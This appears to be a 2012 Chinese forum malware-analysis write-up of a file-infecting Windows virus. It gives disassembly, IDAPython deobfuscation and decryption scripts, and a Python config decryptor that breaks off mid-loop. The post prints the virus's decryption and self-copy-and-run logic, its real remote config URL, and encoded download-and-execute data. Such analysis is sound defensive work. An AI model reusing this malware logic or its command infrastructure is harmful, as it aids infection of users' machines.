yuansunxue 发表于 2012-5-3 00:11

一次病毒分析之旅

本帖最后由 yuansunxue 于 2012-5-3 01:18 编辑

这个是我搞病毒分析以来遇到的相对来说功能比较齐全的病毒,有感染pe文件,有下载执行,有后门功能等。


这个病毒是会感染pe文件的 调试的时候要小心 不过不联网的话 应该不会感染 因为其感染是受网络控制的


入口:
00406F88 >/[      DISCUZ_CODE_528      ]nbsp; 55            push    ebp
00406F89|.8BEC          mov   ebp, esp
00406F8B|.53            push    ebx
00406F8C|.51            push    ecx
00406F8D|.E8 04000000   call    00406F96
00406F92|.92            xchg    eax, edx
00406F93|.5F            pop   edi
00406F94|.0000          add   byte ptr , al
00406F96|[      DISCUZ_CODE_528      ]nbsp; 5B            pop   ebx
00406F97|.2B1B          sub   ebx, dword ptr                 ;这里ebx = 401000
00406F99|.8B03          mov   eax, dword ptr
00406F9B|.B9 06610000   mov   ecx, 6106
00406FA0|>83F9 04       /cmp   ecx, 4
00406FA3|.72 1A         |jb      short 00406FBF
00406FA5|.81F9 82010000 |cmp   ecx, 182
00406FAB|.73 08         |jnb   short 00406FB5
00406FAD|.81F9 3C010000 |cmp   ecx, 13C
00406FB3|.77 02         |ja      short 00406FB7
00406FB5|>3103          |xor   dword ptr , eax
00406FB7|>83C3 04       |add   ebx, 4
00406FBA|.83E9 04       |sub   ecx, 4
00406FBD|.^ EB E1         \jmp   short 00406FA0
00406FBF|>E8 33010000   call    004070F7

发现代码是加密的,解密过程很简单,写个idapython来解密下:
def decrypt_main_exe(startva = 0x401000):
    eax = Dword(startva)
    #alreay decrypted?
    if eax ==0:
      return
    counter = 0x6106
    while True:
      if counter < 4:
            break
      if (counter > 0x13c) and (counter<0x182):
            startva = startva + 4
            counter = counter -4
      else:
            dword_value = Dword(startva)
            dword_value = dword_value ^ eax
            PatchDword(startva,dword_value)
            startva = startva + 4
            counter = counter -4


走进 004070f7

.text:004070F7 key_call      proc near               ; CODE XREF: .text:loc_406FBFp
.text:004070F7               call    GetFuncsAddress
.text:004070FC               test    eax, eax
.text:004070FE               jz      short locret_407105
.text:00407100
.text:00407100 loc_407100:
.text:00407100               call    sub_406FCA
.text:00407105
.text:00407105 locret_407105:                        ; CODE XREF: key_call+7j
.text:00407105               retn

004070f7的call 在ida中直接去大致浏览一下,发现只是获取一些api地址
但是其中用到了一些小技巧来影响我们的反汇编分析


1、获取api地址的时候,比较api地址的前一个字节是否是90 如果是90 则api地址减一,
造成od无法正确的现实api调用。直接ctrl + b 搜索二进制 8038907401 nop掉即可。
00401325    48            dec   eax
00401326    8038 90         cmp   byte ptr , 90
00401329    74 01         je      short 0040132C
0040132B    40            inc   eax获取的api地址为:
004010147C80AC28kernel32.GetProcAddress
004010187C801D77kernel32.LoadLibraryA
0040101C7C80EB3Fkernel32.CreateMutexA
004010207C910331ntdll.RtlGetLastWin32Error
004010247C809B77kernel32.CloseHandle
004010287C86114Dkernel32.WinExec
0040102C7C812851kernel32.GetVersionExA
004010307C90311Bntdll.RtlZeroMemory
004010347C80C729kernel32.lstrcpyA
004010387C838FB9kernel32.lstrcatA
0040103C7C80C6E0kernel32.lstrlenA
004010407C8397A1kernel32.GetCurrentDirectoryA
004010447C80B357kernel32.GetModuleFileNameA
004010487C81082Fkernel32.CreateThread
0040104C7C830053kernel32.CopyFileA
004010507C8221CFkernel32.GetTempPathA
004010547C8681F6kernel32.GetLongPathNameA
004010587C81174Ckernel32.GetFileAttributesA

写个idapython脚本来对地址进行标记一下:
#encoding=utf-8

#指定iat文件路径,内容是从od里拷出来的
iatfile=r"C:\IDA\idc\py\iat.txt"
def main():
    diclist = dict()
    hfile = file(iatfile,'r')
    for line in hfile.readlines( ):
      if len(line)>0x10:
            address = long(line,16)
            funcname = line.split('.')
      if len(funcname) == 2:
            name = funcname
            #去掉名字后面的换行或者空格
            got_name = name[:-1]
            diclist = address

    sorted_dic = map(lambda x:(x, x), diclist.items())
    for funcname,address in sorted_dic:
      address=address & 0xFFFFFFFF
      MakeDword(address)
      MakeName(address,funcname)
      print "address %08x,funcname %s" % (address,funcname)

if __name__ == "__main__":
    print "label start"
    main()
    print "finished"


2、 一些指令变形

0040132C    E8 04000000   call    00401335
00401331    1D 0300005B   sbb   eax, 5B000003
00401336    2B1B            sub   ebx, dword ptr
上面的这几条是变形指令,直接go到00401335可以看到:

0040132C    E8 04000000   call    00401335
00401335    5B            pop   ebx
00401336    2B1B            sub   ebx, dword ptr


上面的三步指令相当于
.text:00401333               mov   ebx, 0x401014

其中ebx可以是其他的寄存器,不过在分析过程中只遇到过eax,ebx,edi,esi

类似的变形指令还有

0040127A    E8 04000000   call    00401283
00401283    58            pop   eax                              ; Copy_of_.0040127F
00401284    2B00            sub   eax, dword ptr
00401286    FF10            call    dword ptr

实际为:

00401282    FF15 18104000   call    dword ptr                   ; kernel32.LoadLibraryA




写个idaPython脚本来清理下变形代码:

#encoding=utf-8

def main(startva = 0x401000):

    FixSegStart = SegStart(startva)
    FixSegEnd = SegEnd(startva)
    #print "segstart:%08x segend:%08x" % (FixSegStart,FixSegEnd)
    for i in range(FixSegStart, FixSegEnd):
      curva = i
      if Byte(curva) == 0xe8 and Dword(curva+1) == 0x4:
            #定位到call下面的地址
            curva = curva + 5

            offset = Dword(curva)
            #print "offset is %08x" % offset
            #if (curva-offset) < FixSegStart:
            #    print "%08x error"% curva
            #    continue
            call_dest_addr = curva - offset
            #print "call_dest_addr is %08x" % call_dest_addr
            ifByte(curva+4) == 0x58 and Dword(curva+5) == 0x10ff002b:
                print "curva is %08x" % curva
                #开始patch代码
                PatchByte(curva-5,0x90)
                PatchDword(curva-4,0x90909090)
                MakeCode(curva-4)
                MakeCode(curva-3)
                MakeCode(curva-2)
                MakeCode(curva-1)
                MakeCode(curva-5)
                PatchByte(curva,0x90)
                PatchByte(curva+1,0x90)
                PatchByte(curva+2,0x90)
                PatchWord(curva+3,0x15ff)
                PatchDword(curva+5,call_dest_addr)
                MakeCode(curva-5)
               
                MakeCode(curva+1)
                MakeCode(curva+2)
                MakeUnknown(curva+3,0x6,0)
                HideArea(curva-5, curva + 3, "nop code", "----------", "----------", 0xa0a0a0)
                MakeCode(curva+3)
                '''
.text:004047E3 E8 04 00 00 00                  call    loc_4047EC
.text:004047E3                   ; ---------------------------------------------------------------------------
.text:004047E8 B3 00 00 00                     dd 0B3h
.text:004047EC                   ; ---------------------------------------------------------------------------
.text:004047EC
.text:004047EC                   loc_4047EC:                           ; CODE XREF: .text:004047E3p
.text:004047EC 58                              pop   eax
.text:004047ED 2B 00                           sub   eax,
.text:004047EF 8B 4D 08                        mov   ecx,
相当于mov eax,xxx
                '''
            elif Byte(curva+4) == 0x58 and Word(curva+5) == 0x002b and Word(curva+7) != 0x10ff:
                #获取mov的值
                pop_eax = curva
                dword_eax = Dword(pop_eax)
                moved_value = pop_eax - dword_eax
                print "moved_value is % 08x" % moved_value
                moved_value = moved_value & 0xffffffff
                #开始修改代码
                PatchByte(curva+2,0xb8)
                PatchDword(curva+3,moved_value)
                #nop掉之前的代码
                PatchDword(curva-5,0x90909090)
                PatchWord(curva-1,0x9090)
                PatchByte(curva+1,0x90)
                #让ida认为这是代码
               
                MakeUnknown(curva-5,0xc,0)
                MakeCode(curva-5)
                MakeCode(curva-4)
                MakeCode(curva-3)
                MakeCode(curva-2)
                MakeCode(curva-1)
                MakeCode(curva+1)
                MakeCode(curva+2)
                HideArea(curva-5, curva + 2, "nop code", "----------", "----------", 0xa0a0a0)
                '''
.text:00404914 E8 04 00 00 00                  call    loc_40491D
.text:00404914                   ; ---------------------------------------------------------------------------
.text:00404919 D0 01 00 00                     dd 1D0h
.text:0040491D                   ; ---------------------------------------------------------------------------
.text:0040491D
.text:0040491D                   loc_40491D:                           ; CODE XREF: .text:00404914p
.text:0040491D 5B                              pop   ebx
.text:0040491E 2B 1B                           sub   ebx,
                '''

            elif Byte(curva+4) == 0x5b and Word(curva+5) == 0x1b2b and Word(curva+7) != 0xd3ff:
                #获取mov的值
                pop_ebx = curva
                dword_ebx = Dword(pop_ebx)
                moved_value = pop_ebx - dword_ebx
                #开始修改代码
                PatchByte(curva+2,0xbb)
                PatchDword(curva+3,moved_value)
                #nop掉之前的代码
                PatchDword(curva-5,0x90909090)
                PatchWord(curva-1,0x9090)
                PatchByte(curva+1,0x90)
                #让ida认为这是代码
               
                MakeUnknown(curva-5,0xc,0)
                MakeCode(curva-5)
                MakeCode(curva-4)
                MakeCode(curva-3)
                MakeCode(curva-2)
                MakeCode(curva-1)
                MakeCode(curva+1)
                MakeCode(curva+2)
                HideArea(curva-5, curva + 2, "nop code", "----------", "----------", 0xa0a0a0)
                '''
.text:00405E46 E8 04 00 00 00                  call    loc_405E4F
.text:00405E46                   ; ---------------------------------------------------------------------------
.text:00405E4B FB 45 00 00                     dd 45FBh
.text:00405E4F                   ; ---------------------------------------------------------------------------
.text:00405E4F
.text:00405E4F                   loc_405E4F:                           ; CODE XREF: net_activity:loc_405E46p
.text:00405E4F 5F                              pop   edi
.text:00405E50 2B 3F                           sub   edi,       ; 00401850
                '''
            elif Byte(curva+4) == 0x5f and Word(curva+5) == 0x3f2b and Word(curva+7) != 0xd7ff:
                #获取mov的值
                pop_edi = curva
                dword_edi = Dword(pop_edi)
                moved_value = pop_edi - dword_edi
                #开始修改代码
                PatchByte(curva+2,0xbf)
                PatchDword(curva+3,moved_value)
                #nop掉之前的代码
                PatchDword(curva-5,0x90909090)
                PatchWord(curva-1,0x9090)
                PatchByte(curva+1,0x90)
                #让ida认为这是代码
               
                MakeUnknown(curva-5,0xc,0)
                MakeCode(curva-5)
                MakeCode(curva-4)
                MakeCode(curva-3)
                MakeCode(curva-2)
                MakeCode(curva-1)
                MakeCode(curva+1)
                MakeCode(curva+2)
                HideArea(curva-5, curva + 2, "nop code", "----------", "----------", 0xa0a0a0)
                '''
.text:00402664 E8 04 00 00 00                  call    loc_40266D
.text:00402664                   ; ---------------------------------------------------------------------------
.text:00402669 69 16 00 00                     dd 1669h
.text:0040266D                   ; ---------------------------------------------------------------------------
.text:0040266D
.text:0040266D                   loc_40266D:                           ; CODE XREF: Infect_EXE_dll+540j
.text:0040266D 5E                              pop   esi
.text:0040266E 2B 36                           sub   esi,
                '''
            elif Byte(curva+4) == 0x5e and Word(curva+5) == 0x362b and Word(curva+7) != 0xd6ff:
                #获取mov的值
                pop_esi = curva
                dword_esi = Dword(pop_esi)
                moved_value = pop_esi - dword_esi
                #开始修改代码
                PatchByte(curva+2,0xbe)
                PatchDword(curva+3,moved_value)
                #nop掉之前的代码
                PatchDword(curva-5,0x90909090)
                PatchWord(curva-1,0x9090)
                PatchByte(curva+1,0x90)
                #让ida认为这是代码
               
                MakeUnknown(curva-5,0xc,0)
                MakeCode(curva-5)
                MakeCode(curva-4)
                MakeCode(curva-3)
                MakeCode(curva-2)
                MakeCode(curva-1)
                MakeCode(curva+1)
                MakeCode(curva+2)
                HideArea(curva-5, curva + 2, "nop code", "----------", "----------", 0xa0a0a0)


if __name__ == "__main__":
    print "---------------------\nFix Start..."
    #fix_call_dword()
    main()
    print "finished"





现在代码都清理干净了,用ida静态分析即可,有必要可以用od动态调试下,
程序首先会对运行路径以及是否已经有病毒在运行进行一下判断,满足条件才运行病毒代码:

.text:00406FCA sub_406FCA      proc near               ; CODE XREF: key_call:loc_407100p
.text:00406FCA
.text:00406FCA var_7FF7B       = byte ptr -7FF7Bh
.text:00406FCA tmp_path      = byte ptr -800h
.text:00406FCA filepath      = byte ptr -400h
.text:00406FCA
.text:00406FCA               push    ebp
.text:00406FCB               mov   ebp, esp
.text:00406FCD               add   esp, -800h
.text:00406FD3               push    400h            ; nSize
.text:00406FD8               lea   eax,
.text:00406FDE               push    eax             ; lpFilename
.text:00406FDF               push    0               ; hModule
.text:00406FE1 ; nop code
.text:00406FE9 ; ---------------------------------------------------------------------------
.text:00406FE9               call    GetModuleFileNameA
.text:00406FEF               push    400h            ; cchBuffer
.text:00406FF4               lea   eax,
.text:00406FFA               push    eax             ; lpszLongPath
.text:00406FFB               push    eax             ; lpszShortPath
.text:00406FFC ; nop code
.text:00407004               call    GetLongPathNameA
.text:0040700A               lea   eax,
.text:00407010               push    eax             ; lpBuffer
.text:00407011               push    400h            ; nBufferLength
.text:00407016 ; nop code
.text:0040701E ; ---------------------------------------------------------------------------
.text:0040701E               call    GetTempPathA
.text:00407024               push    400h            ; cchBuffer
.text:00407029               lea   eax,
.text:0040702F               push    eax             ; lpszLongPath
.text:00407030               push    eax             ; lpszShortPath
.text:00407031 ; nop code
.text:00407039 ; ---------------------------------------------------------------------------
.text:00407039               call    GetLongPathNameA
.text:0040703F               lea   eax,
.text:00407045               push    eax             ; lpString
.text:00407046 ; nop code
.text:0040704E ; ---------------------------------------------------------------------------
.text:0040704E               call    lstrlenA
.text:00407054               mov   ecx, eax
.text:00407056               lea   esi,
.text:0040705C               lea   edi,
.text:00407062
.text:00407062 @compare:                               ; CODE XREF: sub_406FCA+ACj
.text:00407062               test    ecx, ecx
.text:00407064               jz      short @equal
.text:00407066               mov   al,
.text:00407068               mov   ah,
.text:0040706A               or      eax, 2020h
.text:0040706F               xor   al, ah
.text:00407071               jnz   short loc_40708A
.text:00407073               inc   esi
.text:00407074               inc   edi
.text:00407075               dec   ecx
.text:00407076               jmp   short @compare               
.text:00407078 ; ---------------------------------------------------------------------------

      判断程序是否在%tmp%在启动的 如果是 则来到这里 不是则跳到0040708a
.text:00407078
.text:00407078 @equal:                                 ; CODE XREF: sub_406FCA+9Aj
.text:00407078               call    @check_mutex确保只有一个病毒进程在运行
.text:0040707D               test    eax, eax
.text:0040707F               jnz   short @ren
.text:00407081               push    0
.text:00407083               call    sub_406D4D    运行payload      
.text:00407088               jmp   short @ren
.text:0040708A ; ---------------------------------------------------------------------------
.text:0040708A
.text:0040708A loc_40708A:                           ; CODE XREF: sub_406FCA+A7j
.text:0040708A               call    sub_406D5E      判断病毒启动的目录下是否存在AAA_AAA_AAA_01文件,如果存在则

运行 "explorer.exe C:\Documents and Settings\SRE\Desktop\AAA_AAA_AAA_01"

AAA_AAA_AAA_01是什么呢? 在网上搜了一下,跟极品飞车12的车的修改代码,有关猜测病毒是通过这个传播的


.text:0040708F               call    @check_mutex
.text:00407094               test    eax, eax
.text:00407096               jnz   short @ren
.text:00407098               call    loc_4070A7
.text:00407098 ; ---------------------------------------------------------------------------
.text:0040709D aPpsap_exe      db 'ppsap.exe',0
.text:004070A7 ; ---------------------------------------------------------------------------
.text:004070A7
.text:004070A7 loc_4070A7:                           ; CODE XREF: sub_406FCA+CEp
.text:004070A7               lea   eax,
.text:004070AD               push    eax             ; lpString1
.text:004070AE ; nop code
.text:004070B6 ; ---------------------------------------------------------------------------
.text:004070B6               call    lstrcatA


      拷贝自身到%tmp%\ppsap.exe
.text:004070BC               push    0               ; bFailIfExists
.text:004070BE               lea   eax,
.text:004070C4               push    eax             ; lpNewFileName
.text:004070C5               lea   eax,
.text:004070CB               push    eax             ; lpExistingFileName
.text:004070CC ; nop code
.text:004070D4               call    CopyFileA
.text:004070DA               test    eax, eax
.text:004070DC               jz      short @ren
      拷贝成功则运行%tmp%\ppsap.exe
.text:004070DE               push    0               ; uCmdShow
.text:004070E0               lea   eax,
.text:004070E6               push    eax             ; lpCmdLine
.text:004070E7 ; nop code
.text:004070EF ; ---------------------------------------------------------------------------
.text:004070EF               call    WinExec
.text:004070F5
.text:004070F5 @ren:                                 ; CODE XREF: sub_406FCA+B5j
.text:004070F5                                       ; sub_406FCA+BEj ...
.text:004070F5               leave
.text:004070F6               retn



通过上面的代码我们可以看到起主要恶意代码在00406d4d

.text:00406D4D sub_406D4D      proc near               ; CODE XREF: sub_406FCA+B9p
.text:00406D4D                                       ; DATA XREF: .text:00406EC6o
.text:00406D4D               push    ebp
.text:00406D4E               mov   ebp, esp
.text:00406D50
.text:00406D50 loc_406D50:

      依然是获取病毒所需的api地址,处理方法同第一次,获取api列表我就不写了

.text:00406D50               call    GetFunsAddress_0
.text:00406D55               call    @net_activity_start      接下来进行一些网络活动
.text:00406D5A               leave
.text:00406D5B               retn    4
.text:00406D5B sub_406D4D      endp

进入00406d55处的call

.text:00406CB5 @net_activity_start proc near         ; CODE XREF: @net_activity_start+92j
.text:00406CB5                                       ; sub_406D4D+8p
.text:00406CB5               call    net_activity
.text:00406CBA               test    eax, eax
.text:00406CBC               jz      short loc_406D34
.text:00406CBE               push    0               ; protocol
.text:00406CC0               push    2               ; type
.text:00406CC2               push    2               ; af
.text:00406CC4 ; nop code
.text:00406CCC ; ---------------------------------------------------------------------------
.text:00406CCC               call    socket
.text:00406CD2 ; nop code
.text:00406CD9               mov   ebx, offset unk_401860
.text:00406CDE               mov   , eax      ; dword(00401860) = hsocket
.text:00406CE0 ; nop code
.text:00406CE7               mov   eax, 401888h
.text:00406CEC               push    eax
.text:00406CED ; nop code
.text:00406CF4               mov   eax, offset unk_401860
.text:00406CF9               push    dword ptr
.text:00406CFB ; nop code
.text:00406D02               mov   eax, offset sub_40512F
.text:00406D07               push    eax             ; 0040512F
.text:00406D08               call    Call_CreateThread
.text:00406D0D               call    send_data_net_activity
.text:00406D12 ; nop code
.text:00406D19               mov   eax, offset unk_401860
.text:00406D1E               push    dword ptr ; s
.text:00406D20               mov   dword ptr , 0FFFFFFFFh
.text:00406D26 ; nop code
.text:00406D2E ; ---------------------------------------------------------------------------
.text:00406D2E               call    closesocket
.text:00406D34
.text:00406D34 loc_406D34:                           ; CODE XREF: @net_activity_start+7j
.text:00406D34               push    1B7740h         ; dwMilliseconds
.text:00406D39 ; nop code
.text:00406D41 ; ---------------------------------------------------------------------------
.text:00406D41               call    Sleep
.text:00406D47               jmp   @net_activity_start
.text:00406D4C ; ---------------------------------------------------------------------------
.text:00406D4C               retn



一步步详解其网络行为:
程序首先从http://home.51.com/?u=testdown&c=diary&a=getdataview&id=10049014下载配置文件,然后进行分析处理获得下载连接,
下载执行

.text:00406775               push    ecx
.text:00406776               mov   , 0
.text:0040677D               push    100000h         ; dwBytes
.text:00406782               push    40h             ; uFlags
.text:00406784 ; nop code
.text:0040678C               call    GlobalAlloc
.text:00406792               test    eax, eax
.text:00406794               jz      @retn
.text:0040679A               mov   , eax
.text:0040679D
.text:0040679D loc_40679D:
.text:0040679D               push    100000h
.text:004067A2               push   
.text:004067A5               call    loc_4067EB
.text:004067A5 ; ---------------------------------------------------------------------------
.text:004067AA aHttpHome_51_com?uTe db 'http://home.51.com/?u=testdown&c=diary&a=getdataview&id=10049014',0
.text:004067EB ; ---------------------------------------------------------------------------
.text:004067EB
.text:004067EB loc_4067EB:                           ; CODE XREF: net1+39p
.text:004067EB               call    Read_configdata_from_net
.text:004067F0               test    eax, eax
.text:004067F2               jz      short @read_fail
.text:004067F4               push    eax             ; decrypt data size
.text:004067F5
.text:004067F5 loc_4067F5:                           ; decrypt data
.text:004067F5               push   
.text:004067F8               call    Anslysis_config_data_and_download_execute


下载下来的data:
{

window.modData = {"view":{"id":"10049014","gid":"134960","is_top":"0","heart":"","title":"2010-11-20\u7684\u65e5\u8bb0","memo":"<br \/>\r\n########FPAAAAAACGBKEBBAEJHNEEEOEGFFHAGEGBHEGFDADDDADICOGFHIGFAAGIHEHEHADKCPCPHHHHHHCODBGEGJHDGLCOGDGOCPEDGPGOHEGFGOHEFAGBGOGFCOGBHDHAHIDPGEGPHHGODNGPGLCGGGGJGMGFHAGBHEGIDNHEGFHDHEDHDHDFDICFDCGGEEEOEGCOGEGBHEAA<br \/>\r\n<br \/>\r\n########AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br \/>\r\nqq2install<br \/>\r\n########FLAAAAAADGHOEBJKDELLGCGJHCHEGIGHGJGGHECOGFHIGFAAGIHEHEHADKCPCPHHHHHHCODBGEGJHDGLCOGDGOCPEDGPGOHEGFGOHEFAGBGOGFCOGBHDHAHIDPGEGPHHGODNGPGLCGGGGJGMGFHAGBHEGIDNHEGFHDHEDHDHDFDICFDCGGHBHBDCCOGEGPGDAA <br \/>\r\n<br \/>\r\n          ","weekday":"1","show_time":"2010-11-20 17:37:00","flower":"0","egg":"0","ping":"0","click":"4236526","sources":"0","share_flag":"1","share_users":"","hide_comment":"0","share_num":"0","url":"\/testdown\/diary\/item\/10049014.html","_can_view":"1","_desc":"","_putpass":"0","add_time":"1290245878"},"prev":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0a\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u7b2c\u4e00\u7bc7","show_time":"","url":"\/testdown\/diary\/item\/.html"},"next":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0b\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u6700\u540e\u4e00\u7bc7","show_time":"","url":"\/testdown\/diary\/item\/.html"},"catalog":[{"id":"134960","name":"\u6211\u7684\u65e5\u8bb0","hide":"0","url":"\/testdown\/diary\/group\/134960","count":"1"},{"id":"134961","name":"\u6211\u7684\u6587\u7ae0","hide":"0","url":"\/testdown\/diary\/group\/134961","count":"0"},{"id":"134962","name":"\u7f51\u7edc\u6587\u6458","hide":"0","url":"\/testdown\/diary\/group\/134962","count":"0"}],"comment":{"list":{"total":"0","pages":"0","page":"0","rows":[],"userinfo":[]}},"sharelist":[],"lastvisitor":{"rows":[{"nickname":"54243","face":"http:\/\/static.51img1.com\/sysface\/woman_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"237955579","_user":"5759497","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u4f0d\u5148\u751f","face":"http:\/\/p3.u.51img1.com\/39\/31\/267956964_50.gif?v=20120330123104","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"<a href='http:\/\/51vip.51.com\/level\/vipgrade.php' target='_blank'><img src='http:\/\/static.51img1.com\/i\/kf\/viplevel\/vip1.gif?0401' align='absmiddle' border=0 title='\u6210\u957f\u503c 112' style='filter:none;' \/><\/a> ","isconfirm":"1","isopen":"0","user":"267956964","_user":"91628762","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\uff3c\u3002\u88ab\u8fe9\u5ffd\u7565\u3001","face":"http:\/\/p5.u.51img1.com\/55\/d4\/xingfu2025_50.gif?v=20091226161855","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"2","user":"xingfu2025","_user":"xingfu2025","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u65e0\u804a","face":"http:\/\/static.51img1.com\/sysface\/man_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"vbvbvbzq","_user":"vbvbvbzq","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"_\u7eaf \u3001","face":"http:\/\/pe.u.51img1.com\/eb\/fd\/lovening1025_50.gif?v=20101209174127","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"lovening1025","_user":"lovening1025","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"nacy","face":"http:\/\/pa.u.51img1.com\/a9\/f3\/a20088823_50.gif?v=20090313220255","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"a20088823","_user":"a20088823","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u6e05\u98ce\u4f9d\u65e7","face":"http:\/\/p4.u.51img1.com\/40\/47\/dis13141998_50.gif?v=20110614170758","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"0","isopen":"0","user":"dis13141998","_user":"dis13141998","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""}],"total":"14"},"morediary":[],"current":{"gid":"134960","ghide":"0","gname":"\u6211\u7684\u65e5\u8bb0","gcount":"1","url":"\/testdown\/diary\/group\/134960"}};

}

解密过程:

.text:00401A33 Decrypt_read_data proc near             ; CODE XREF: Read_configdata_from_net+19p
.text:00401A33                                       ; sub_405F62+E7p
.text:00401A33
.text:00401A33 first_dword_after_decrypt= dword ptr -4
.text:00401A33 arg_0_read_data = dword ptr8
.text:00401A33 arg_4_read_size = dword ptr0Ch
.text:00401A33
.text:00401A33               push    ebp
.text:00401A34               mov   ebp, esp
.text:00401A36               add   esp, 0FFFFFFFCh
.text:00401A39               push    ebx
.text:00401A3A               push    ecx
.text:00401A3B               push    edx
.text:00401A3C               push    edi
.text:00401A3D               mov   ebx,
.text:00401A40               mov   ecx,
.text:00401A43               sub   ecx, 0Ah      ; ecx = read_size -8
.text:00401A46
.text:00401A46 @find_loop:                           ; CODE XREF: Decrypt_read_data+2Aj
.text:00401A46               test    ecx, ecx
.text:00401A48               jz      short @return_zero
.text:00401A4A               cmp   dword ptr , '####'
.text:00401A50               jnz   short @next_byte
.text:00401A52               cmp   dword ptr , '####'
.text:00401A59               jz      short @found_flag ; pass the ######## ebx = found data
.text:00401A5B
.text:00401A5B @next_byte:                           ; CODE XREF: Decrypt_read_data+1Dj
.text:00401A5B               inc   ebx
.text:00401A5C               dec   ecx
.text:00401A5D               jmp   short @find_loop
.text:00401A5F ; ---------------------------------------------------------------------------
.text:00401A5F
.text:00401A5F @found_flag:                            ; CODE XREF: Decrypt_read_data+26j
.text:00401A5F               add   ebx, 8          ; pass the ######## ebx = found data
.text:00401A62               sub   ecx, 8          ; ecx = read_size - 8 - found_data_offset -a
.text:00401A62                                       ; 11d5 for 014
.text:00401A65               mov   edi,
.text:00401A68               shr   ecx, 1          ; 11d5 / 2 = 8ea
.text:00401A6A               xor   eax, eax
.text:00401A6C
.text:00401A6C @decrypt_loop:                        ; CODE XREF: Decrypt_read_data+55j
.text:00401A6C               test    ecx, ecx
.text:00401A6E               jz      short @decrypt_finished
.text:00401A70               mov   ah,        ; ah = found_data
.text:00401A72               mov   al,    ; al = found_data
.text:00401A75               sub   eax, 4141h      ; eax = eax - 0x4141
.text:00401A7A               mov   edx, eax      ; edx eax - 0x4141
.text:00401A7C               shr   eax, 4          ; eax = eax >> 4
.text:00401A7F               or      eax, edx      ; eax = (eax - 0x4141 ) | ((eax - 0x4141 )>>4)
.text:00401A81               mov   , al       ; byte(read_data) = (eax - 0x4141 ) | ((eax - 0x4141 )>>4)
.text:00401A83               add   ebx, 2          ; found_data = found_data +2
.text:00401A86               inc   edi             ; read_data = read_data + 1
.text:00401A87               dec   ecx             ; ecx --
.text:00401A88               jmp   short @decrypt_loop
.text:00401A8A ; ---------------------------------------------------------------------------
.text:00401A8A
.text:00401A8A @decrypt_finished:                      ; CODE XREF: Decrypt_read_data+3Bj
.text:00401A8A               mov   ebx,
.text:00401A8D               mov   ecx,       ; ecx = first_dword_after_decrypt
.text:00401A8F               cmp   ecx,
.text:00401A92               ja      short @return_zero
.text:00401A94               mov   , ecx
.text:00401A97               add   ebx, 4          ; ebx = read_data + 4
.text:00401A9A               movzx   edx, word ptr ; edx = word(read_data+4)
.text:00401A9D               add   ebx, 2          ; ebx = read_data + 6
.text:00401AA0               xor   eax, eax
.text:00401AA2               mov   esi, ebx      ; esi ebx = read_data + 6
.text:00401AA4
.text:00401AA4 @add_together:                        ; CODE XREF: Decrypt_read_data+7Ej
.text:00401AA4               cmp   ecx, 4
.text:00401AA7               jb      short @add_over
.text:00401AA9               add   eax,
.text:00401AAB               add   esi, 4
.text:00401AAE               sub   ecx, 4
.text:00401AB1               jmp   short @add_together
.text:00401AB3 ; ---------------------------------------------------------------------------
.text:00401AB3
.text:00401AB3 @add_over:                              ; CODE XREF: Decrypt_read_data+74j
.text:00401AB3               and   eax, 0FFFFh
.text:00401AB8               cmp   eax, edx
.text:00401ABA               jz      short @data_is_right
.text:00401ABC
.text:00401ABC @return_zero:                           ; CODE XREF: Decrypt_read_data+15j
.text:00401ABC                                       ; Decrypt_read_data+5Fj
.text:00401ABC               mov   , 0
.text:00401AC3               jmp   short @retn
.text:00401AC5 ; ---------------------------------------------------------------------------
.text:00401AC5
.text:00401AC5 @data_is_right:                         ; CODE XREF: Decrypt_read_data+87j
.text:00401AC5               mov   ecx,
.text:00401AC8               mov   edi,
.text:00401ACB               mov   esi, edi
.text:00401ACD               add   esi, 6
.text:00401AD0               rep movsb
.text:00401AD2
.text:00401AD2 @retn:                                  ; CODE XREF: Decrypt_read_data+90j
.text:00401AD2               mov   eax,
.text:00401AD5               pop   edi
.text:00401AD6               pop   edx
.text:00401AD7               pop   ecx
.text:00401AD8               pop   ebx
.text:00401AD9               leave
.text:00401ADA               retn    8
.text:00401ADA Decrypt_read_data endp

写个脚本来模拟其解密过程,顺便监控其下载的配置文件,
写个脚本也不用每次都调试,直接运行脚本就可以获取其解密后配置文件:

#
import re, struct, os, sys

def Decrypt_Config(srcData, hOutFile):
    currIndex = 0

    data_len = len(srcData)
    ecx = data_len - 0xa

    p = re.compile(r'########(.*)',re.DOTALL)

    m = p.search(srcData)
    decrypt_data = []
    if m:
      found_offset = m.start(1)

      ecx = ecx - found_offset
      ecx = ecx >> 1
      #print "ecx %08x" % ecx
      while ecx != 0:
            ah = srcData
            al = srcData
